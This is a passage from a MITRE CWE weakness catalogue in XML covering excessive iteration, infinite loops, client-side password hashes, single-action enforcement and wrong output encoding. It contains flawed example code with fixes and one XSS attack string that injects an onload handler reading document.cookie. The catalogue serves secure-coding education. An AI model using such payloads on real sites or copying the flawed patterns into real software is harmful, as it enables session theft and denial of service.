						Deadlocks", Page 760</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Starvation and Deadlocks", Page
						760.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-19">
					          <Reference_Author>Robert C. Seacord</Reference_Author>
					          <Reference_Title>Secure Coding in C and C++</Reference_Title>
					          <Reference_Section>Chapter 7, "Concurrency", section "Mutual Exclusion and
						Deadlock", Page 248.</Reference_Section>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure actively held locks are released on exceptional
						conditions</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-12-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="834" Name="Excessive Iteration" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs an iteration or loop without sufficiently
					limiting the number of times that the loop is executed.</Description_Summary>
				        <Extended_Description>
					          <Text>If the iteration can be influenced by an attacker, this weakness could
						allow attackers to consume excessive resources such as CPU or memory. In
						many cases, a loop does not need to be infinite in order to cause enough
						resource consumption to adversely affect the software or its host system; it
						depends on the amount of resources consumed per iteration.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Excessive looping will cause unexpected consumption of resources,
							such as CPU cycles or memory. The software's operation may slow down, or
							cause a long time to respond. If limited resources such as memory are
							consumed for each iteration, the loop may eventually cause a crash or
							program exit due to exhaustion of resources, such as an out-of-memory
							error.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Looping Constructs", Page
						327.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="835" Name="Loop with Unreachable Exit Condition ('Infinite Loop')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program contains an iteration or loop with an exit
					condition that cannot be reached, i.e., an infinite loop.</Description_Summary>
				        <Extended_Description>
					          <Text>If the loop can be influenced by an attacker, this weakness could allow
						attackers to consume excessive resources such as CPU or memory.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>834</Relationship_Target_ID>
					          <!--Excessive Iteration-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> An infinite loop will cause unexpected consumption of resources, such
							as CPU cycles or memory. The software's operation may slow down, or
							cause a long time to respond.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code the method processMessagesFromServer attempts
						to establish a connection to a server and read and process messages from the
						server. The method uses a do/while loop to continue trying to establish the
						connection to the server when an attempt fails.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int processMessagesFromServer(char *hostaddr, int port) {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>int servsock;</Code>
								                <Code>int connected;</Code>
								                <Code>struct sockaddr_in servaddr;</Code>
								                <Code/>
								                <Comment>// create socket to connect to server</Comment>
								                <Code>servsock = socket( AF_INET, SOCK_STREAM, 0);</Code>
								                <Code>memset( &amp;servaddr, 0, sizeof(servaddr));</Code>
								                <Code>servaddr.sin_family = AF_INET;</Code>
								                <Code>servaddr.sin_port = htons(port);</Code>
								                <Code>servaddr.sin_addr.s_addr = inet_addr(hostaddr);</Code>
								                <Code/>
								                <Code>do {</Code>
								                <Block>
									                  <Comment>// establish connection to server</Comment>
									                  <Code>connected = connect(servsock, (struct sockaddr
										*)&amp;servaddr, sizeof(servaddr));</Code>
									                  <Code/>
									                  <Comment>// if connected then read and process messages from
										server</Comment>
									                  <Code>if (connected &gt; -1) {</Code>
									                  <Block>
										                    <Code/>
										                    <Comment>// read and process messages</Comment>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
								                </Block>
								                <Comment>// keep trying to establish connection to the
									server</Comment>
								                <Code>} while (connected &lt; 0);</Code>
								                <Code/>
								                <Comment>// close socket and return success or failure</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this will create an infinite loop if the server does not
							respond. This infinite loop will consume system resources and can be
							used to create a denial of service attack. To resolve this a counter
							should be used to limit the number of attempts to establish a connection
							to the server, as in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int processMessagesFromServer(char *hostaddr, int port) {</Code>
							              <Block>
								                <Code>...</Code>
								                <Comment>// initialize number of attempts counter</Comment>
								                <Code>int count = 0;</Code>
								                <Code>do {</Code>
								                <Block>
									                  <Comment>// establish connection to server</Comment>
									                  <Code>connected = connect(servsock, (struct sockaddr
										*)&amp;servaddr, sizeof(servaddr));</Code>
									                  <Code/>
									                  <Comment>// increment counter</Comment>
									                  <Code>count++;</Code>
									                  <Code/>
									                  <Comment>// if connected then read and process messages from
										server</Comment>
									                  <Code>if (connected &gt; -1) {</Code>
									                  <Block>
										                    <Code/>
										                    <Comment>// read and process messages</Comment>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
								                </Block>
								                <Comment>// keep trying to establish connection to the
									server</Comment>
								                <Comment>// up to a maximum number of attempts</Comment>
								                <Code>} while (connected &lt; 0 &amp;&amp; count &lt;
									MAX_ATTEMPTS);</Code>
								                <Code/>
								                <Comment>// close socket and return success or failure</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>For this example the method isReorderNeeded as part of a bookstore
						application that determines if a particular book needs to be reordered based
						on the current inventory count and the rate at which the book is being
						sold.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean isReorderNeeded(String bookISBN, int rateSold)
								{</Code>
							              <Block>
								                <Code/>
								                <Code>boolean isReorder = false;</Code>
								                <Code/>
								                <Code>int minimumCount = 10;</Code>
								                <Code>int days = 0;</Code>
								                <Code/>
								                <Comment>// get inventory count for book</Comment>
								                <Code>int inventoryCount =
									inventory.getIventoryCount(bookISBN);</Code>
								                <Code/>
								                <Comment>// find number of days until inventory count reaches
									minimum</Comment>
								                <Code>while (inventoryCount &gt; minimumCount) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>inventoryCount = inventoryCount - rateSold;</Code>
									                  <Code>days++;</Code>
									                  <Code/>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// if number of days within reorder timeframe</Comment>
								                <Comment>// set reorder return boolean to true</Comment>
								                <Code>if (days &gt; 0 &amp;&amp; days &lt; 5) {</Code>
								                <Block>
									                  <Code>isReorder = true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return isReorder;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the while loop will become an infinite loop if the rateSold
							input parameter has a value of zero since the inventoryCount will never
							fall below the minimumCount. In this case the input parameter should be
							validated to ensure that a value of zero does not cause an infinite
							loop,as in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean isReorderNeeded(String bookISBN, int rateSold)
								{</Code>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// validate rateSold variable</Comment>
								                <Code>if (rateSold &lt; 1) {</Code>
								                <Block>
									                  <Code>return isReorder;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1027</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: off-by-one error leads to infinite loop
						using invalid hex-encoded characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1142</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: self-referential values in recursive
						definitions lead to infinite loop.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1002</Observed_Example_Reference>
					          <Observed_Example_Description>NULL UDP packet is never cleared from a queue,
						leading to infinite loop.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4476</Observed_Example_Reference>
					          <Observed_Example_Description>Floating point conversion routine cycles back and
						forth between two different values.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4645</Observed_Example_Reference>
					          <Observed_Example_Description>Floating point conversion routine cycles back and
						forth between two different values.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2534</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: improperly clearing a pointer in a linked
						list leads to infinite loop.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Looping Constructs", Page
						327.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="836" Name="Use of Password Hash Instead of Password for Authentication" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software records password hashes in a data store, receives
					a hash of a password from a client, and compares the supplied hash to the hash
					obtained from the data store. </Description_Summary>
				        <Extended_Description>
					          <Text>Some authentication mechanisms rely on the client to generate the hash for
						a password, possibly to reduce load on the server or avoid sending the
						password across the network. However, when the client is used to generate
						the hash, an attacker can bypass the authentication by obtaining a copy of
						the hash, e.g. by using SQL injection to compromise a database of
						authentication credentials, or by exploiting an information exposure. The
						attacker could then use a modified client to replay the stolen hash without
						having knowledge of the original password.</Text>
					          <Text>As a result, the server-side comparison against a client-side hash does
						not provide any more security than the use of passwords without hashing.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>602</Relationship_Target_ID>
					          <!--Client-Side Enforcement of Server-Side Security-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could bypass the authentication routine without knowing
							the original password.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1283</Observed_Example_Reference>
					          <Observed_Example_Description>Product performs authentication with user-supplied
						password hashes that can be obtained from a separate SQL injection
						vulnerability (CVE-2009-1282).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3435</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows attackers to bypass authentication
						by obtaining the password hash for another user and specifying the hash in
						the pwd argument.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="837" Name="Improper Enforcement of a Single, Unique Action" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software requires that an actor should only be able to
					perform an action once, or to have only one unique action, but the software does
					not enforce or improperly enforces this restriction. </Description_Summary>
				        <Extended_Description>
					          <Text>In various applications, a user is only expected to perform a certain
						action once, such as voting, requesting a refund, or making a purchase. When
						this restriction is not enforced, sometimes this can have security
						implications. For example, in a voting application, an attacker could
						attempt to "stuff the ballot box" by voting multiple times. If these votes
						are counted separately, then the attacker could directly affect who wins the
						vote. This could have significant business impact depending on the purpose
						of the software.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>799</Relationship_Target_ID>
					          <!--Improper Control of Interaction Frequency-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Note>
						            <Text>An attacker might be able to gain advantage over other users by
							performing the action multiple times, or affect the correctness of the
							software.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0294</Observed_Example_Reference>
					          <Observed_Example_Description>Ticket-booking web application allows a user to
						lock a seat more than once.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4051</Observed_Example_Reference>
					          <Observed_Example_Description>CMS allows people to rate downloads by voting more
						than once.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-216</Observed_Example_Reference>
					          <Observed_Example_Description>Polling software allows people to vote more than
						once by setting a cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1433</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: lack of validation of a challenge key in a
						game allows a player to register multiple times and lock other players out
						of the game.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1018</Observed_Example_Reference>
					          <Observed_Example_Description>Library feature allows attackers to check out the
						same e-book multiple times, preventing other users from accessing copies of
						the e-book.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2346</Observed_Example_Reference>
					          <Observed_Example_Description>Protocol implementation allows remote attackers to
						cause a denial of service (call-number exhaustion) by initiating many
						message exchanges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="838" Name="Inappropriate Encoding for Output Context" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses or specifies an encoding when generating
					output to a downstream component, but the specified encoding is not the same as
					the encoding that is expected by the downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness can cause the downstream component to use a decoding method
						that produces different data than what the software intended to send. When
						the wrong encoding is used - even if closely related - the downstream
						component could decode the data incorrectly. This can have security
						consequences when the provided boundaries between control and data are
						inadvertently broken, because the resulting data could introduce control
						characters or special elements that were not sent by the software. The
						resulting data could then be used to bypass protection mechanisms such as
						input validation, and enable injection attacks.</Text>
					          <Text> While using output encoding is essential for ensuring that communications
						between components are accurate, the use of the wrong encoding - even if
						closely related - could cause the downstream component to misinterpret the
						output. </Text>
					          <Text>For example, HTML entity encoding is used for elements in the HTML body of
						a web page. However, a programmer might use entity encoding when generating
						output for that is used within an attribute of an HTML tag, which could
						contain functional Javascript that is not affected by the HTML
						encoding.</Text>
					          <Text>While web applications have received the most attention for this problem,
						this weakness could potentially apply to any type of software that uses a
						communications stream that could support multiple encodings.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>116</Relationship_Target_ID>
					          <!--Improper Encoding or Escaping of Output-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify the structure of the message or data being
							sent to the downstream component, possibly injecting commands.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use context-aware encoding. That is, understand which encoding is
							being used by the downstream component, and ensure that this encoding is
							used. If an encoding can be specified, do so, instead of assuming that
							the default encoding is the same as the default being assumed by the
							downstream component.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Where possible, use communications protocols or data formats that
							provide strict boundaries between control and data. If this is not
							feasible, ensure that the protocols or formats allow the communicating
							components to explicitly state which encoding/decoding method is being
							used. Some template frameworks provide built-in support.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.3">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using the ESAPI Encoding control [R.838.7] or a
							similar tool, library, or framework. These will help the programmer
							encode outputs in a manner less prone to error.</Text>
						            <Text>Note that some template mechanisms provide built-in support for the
							appropriate encoding.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code dynamically builds an HTML page using POST data: </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$username = $_POST['username'];</Code>
							              <Code>$picSource = $_POST['picsource'];</Code>
							              <Code>$picAltText = $_POST['picalttext'];</Code>
							              <Comment>...</Comment>
							              <Code>echo "&lt;title&gt;Welcome, " . htmlentities($username)
								."&lt;/title&gt;";</Code>
							              <Code>echo "&lt;img src='". htmlentities($picSource) ." ' alt='".
								htmlentities($picAltText) . '" /&gt;';</Code>
							              <Comment>...</Comment>
						            </Block>
						            <Text> The programmer attempts to avoid XSS exploits (CWE-79) by encoding
							the POST values so they will not be interpreted as valid HTML. However,
							the htmlentities() encoding is not appropriate when the data are used as
							HTML attributes, allowing more attributes to be injected. </Text>
						            <Text>For example, an attacker can set picAltText to:</Text>
						            <Block Block_Nature="Attack">
							              <Code>"altTextHere' onload='alert(document.cookie)"</Code>
						            </Block>
						            <Text>This will result in the generated HTML image tag:</Text>
						            <Block Block_Nature="Result">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;img src='pic.jpg' alt='altTextHere'
								onload='alert(document.cookie)' /&gt; </Code>
						            </Block>
						            <Text>The attacker can inject arbitrary javascript into the tag due to this
							incorrect encoding.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2814</Observed_Example_Reference>
					          <Observed_Example_Description>Server does not properly handle requests that do
						not contain UTF-8 data; browser assumes UTF-8, allowing
						XSS.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.838.1">
					          <Reference_Author>Jim Manico</Reference_Author>
					          <Reference_Title>Injection-safe templating languages</Reference_Title>
					          <Reference_Date>2010-06-30</Reference_Date>
					          <Reference_Link>http://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.838.2">
					          <Reference_Author>Dinis Cruz</Reference_Author>
					          <Reference_Title>Can we please stop saying that XSS is boring and easy to
						fix!</Reference_Title>
					          <Reference_Date>2010-09-25</Reference_Date>
					          <Reference_Link>http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.838.3">
					          <Reference_Author>Ivan Ristic</Reference_Author>
					          <Reference_Title>Canoe: XSS prevention via context-aware output
						encoding</Reference_Title>
					          <Reference_Date>2010-09-24</Reference_Date>
					          <Reference_Link>http://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.838.4">
					          <Reference_Author>Jim Manico</Reference_Author>
					          <Reference_Title>What is the Future of Automated XSS Defense
						Tools?</Reference_Title>
					          <Reference_Date>2011-03-08</Reference_Date>
